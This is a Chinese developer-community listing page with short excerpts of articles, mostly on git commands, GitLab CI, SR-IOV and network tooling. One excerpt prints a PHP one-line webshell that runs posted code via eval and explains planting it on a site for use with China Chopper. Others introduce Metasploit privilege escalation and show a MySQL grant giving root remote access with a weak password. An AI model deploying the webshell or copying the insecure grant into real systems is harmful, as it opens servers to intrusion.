51dev.com IT技术开发者社区

51dev.com 技术开发者社区

使用git、git-flow与gitlab工作

使用git、git-flow与gitlab工作

 在工作中使用git代替svn也有一段时间了,对于git的一些特性喜爱的同时也一直遇到相同的问题:“这时候应该打什么命令?”。相对于svn或者vss的简单,git的学习成本还是有些高,如果要使用一个工具还要翻上300页的《ProGit》,工具的使用成本甚至大于开发本...

git diff命令详解

git diff命令详解

 diff里面a表示前面那个变量,b表示第二个变量 HEAD  commit版本Index  staged版本 a、查看尚未暂存的文件更新了哪些部分,不加参数直接输入  gitdiff此命令比较的是工作目录(W...

git如何删除远程仓库的某次错误提交

git如何删除远程仓库的某次错误提交

 如果远程仓库,能ssh访问,那就跟本地没什么区别 reset命令有3种方式 gitreset--mixed    此为默认方式,不带任何参数的gitreset,就是这种方式,它回退到某个版本,只保留源码,回退commit和stage信息 gitreset--...

git stash 命令

git stash 命令

 需求分析人和电脑一样,会遇到中断,需要保存现在的上下文转而去处理其他更紧急的事情。我们在使用git的时候也会遇到这样的情况。当在需要紧急处理一个bug时,工作区内容又没有完成,不适合提交,想暂存起来。方案实施git提供了gitstash命令来解决这样的需求。下面我们做一个完整实验来体验一...

git clean用法

git clean用法

 想批量删除branch中新加的文件(untrackedfiles),,gitreset--hard不行~ 首先确认要删除的文件gitclean-fd-n 如果以上命令给出的文件列表是你想删除的,那么接下来执行 gitclean-f-d或者gitclean-f...

10 个迅速提升你 Git 水平的提示

10 个迅速提升你 Git 水平的提示

 转载自开源中国社区http://www.oschina.net/translate/10-tips-git-next-level假使你使用命令行工具运行Git命令,那么每次手动输入各种命令是一件很令人厌烦的事情。为了解决这个问题,你可以启用Git的自动补全功能,完成这项工作仅需要几分钟。...

GitLab-CI与GitLab-Runner

GitLab-CI与GitLab-Runner

 来源: http://www.jianshu.com/p/2b43151fb92e要了解GitLab-CI与GitLabRunner,我们得先了解持续集成是什么。持续集成是一种软件开发实践,即团队开发成员经常集成他们的工作,通常每个成员每天至少集成一次,也就意味着每天可能会发生...

WEB应用安全解决方案测试验证

WEB应用安全解决方案测试验证

WEB应用安全解决方案测试报告---Byjiang.jxat2017-08-11 WEB应用安全解决方案.docx链接:https://share.weiyun.com/068b05467040d4d2a479f46e7a23c614密码:sa4bwk 拓扑环境: &n...

metasploit下Windows的多种提权方法

metasploit下Windows的多种提权方法

 前言当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病毒。Metasploit有很多种后渗透方法,可以用于对目标机器的权限绕过,最终获取到系统权...

SR-IOV

SR-IOV

来源 http://blog.csdn.net/liushen0916/article/details/52423507 摘要:介绍SR-IOV的概念、使用场景、VMware和KVM中的配置方法。第一部分:生产业务中,我们在虚拟化平台中遇到了部分虚拟机在业务高峰的时候,出现高延迟...

MySQL 新建用户和数据库

MySQL 新建用户和数据库

 修改MySql的密码为qwe123/usr/local/bin/mysqladmin-uroot-ppasswordqwe123mysql设置root远程访问mysql>GRANTALLPRIVILEGESON*.*TO'root'@'%'IDENTIFIEDBY'qwe123'W...

Panabit镜像功能配合wireshark抓包的方法

Panabit镜像功能配合wireshark抓包的方法

 Panabit的协议识别都是基于数据包的特征,因此捕获数据包样本是我们进行识别第一步要做的事情。下面就和大家说一下如何捕获网络应用的数据包。到百度搜索wireshark,很容易就能找到,把软件下载并安装好。打开wireshark 设置wireshark点击Capture--&g...

Panabit的各种配置文件

Panabit的各种配置文件

 1.启动配置文件路径:/etc/rc.local作用:这个文件里的内容是BSD启动后会自动执行的命令默认配置如下:fsck-y-tufs/dev/ad0s2a>/dev/null扫描并修复磁盘分区fsck-y-tufs/dev/ad0s3a>/dev/nullfsck-y-t...

中国菜刀与一句话木马

中国菜刀与一句话木马

 PHP的一句话木马内容如下:<?php @eval($_POST['chopper']);?>  将这个木马放到“网站”中,打开中国菜刀,在空白处点击鼠标右键,选择“添加”选项。编辑相关参数,包括一...

ctf入门指南

ctf入门指南

 如何入门?如何组队?capturetheflag夺旗比赛类型:Web密码学pwn程序的逻辑分析,漏洞利用windows、linux、小型机等misc杂项,隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据reverse逆向windows、linux类ppc编程类的国内外著名比赛国外:...